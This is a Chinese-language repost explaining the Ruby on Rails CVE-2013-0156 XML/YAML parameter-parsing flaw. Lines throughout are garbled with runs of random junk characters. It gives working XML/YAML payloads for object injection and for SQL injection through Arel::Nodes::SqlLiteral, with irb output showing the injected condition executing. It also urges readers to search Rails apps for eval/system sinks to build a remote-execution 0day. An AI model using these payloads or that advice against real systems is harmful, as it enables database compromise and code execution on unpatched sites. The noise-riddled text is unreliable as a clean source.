Author: wofeiwo#80sec.com
- j, N) r' j% e/ r$ J! W2 J E
v' f2 \& p' ]# T注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 3 c0 j9 J- u* ]; z r
9 ?4 J1 ]1 f$ J* h. N2 J' G6 \9 h# m近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
+ ^9 H6 d7 ~" n$ x
- G- q, ?+ ~3 w) MCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. ; D. I9 P4 l; P/ O# X! j8 K# s
" L# {' {) D3 s$ i7 f为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
: ?( w4 C3 C1 f
* Z& `9 W2 M$ D1 |0 x<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: - ~; S! n6 f. ?* _; L/ d$ t
' \; A$ _" C( o6 y; D0 }! a& T: f
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
% v/ u; n" x8 p6 z- x, Z4 `
9 k1 q) @" n& a) @3 g说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? $ c% I6 P. C. r* v& {
- @) W% y3 e- m; l然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
; ^6 V3 J' \# q* z1 K6 t! @
/ o$ L6 c9 s0 O( | G- }" J但是等等,还有另一个参数类型,yaml。 % k8 _2 V. p% |, p, l7 s; E
$ n# C! M4 G0 J3 ?
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
7 C2 \6 S$ N5 N. U& J6 R3 v7 ^0 B
9 A; V+ S$ e1 {4 j/ i<test type="yaml">--- !ruby/object:A5 K; C9 p3 j. [" d
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 # w! v: M t2 B8 n- D
9 A' S3 V) P- D4 V' D如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
+ x. G9 N9 W8 v
8 G" ~/ f2 k- v0 n7 W3 [/ B g如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 # z; m% M% M9 ]* j7 ^3 s& V$ M0 f
+ V; T m4 I% Z% M: s( S一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) + V6 Y6 y% K: Y3 ^( b: e8 @
9 c/ {; U% ?' V2 c7 @. |
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: 4 [1 U$ o1 [) W8 p/ B7 _
3 [4 D9 T9 V% x<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
9 z2 |( t+ m. ~) {2 r H1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 1 s$ A, q/ d! v x
; u' ^# j! Q& ^
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 ( e H4 f+ i; @$ _
* p% B9 ]" o2 q |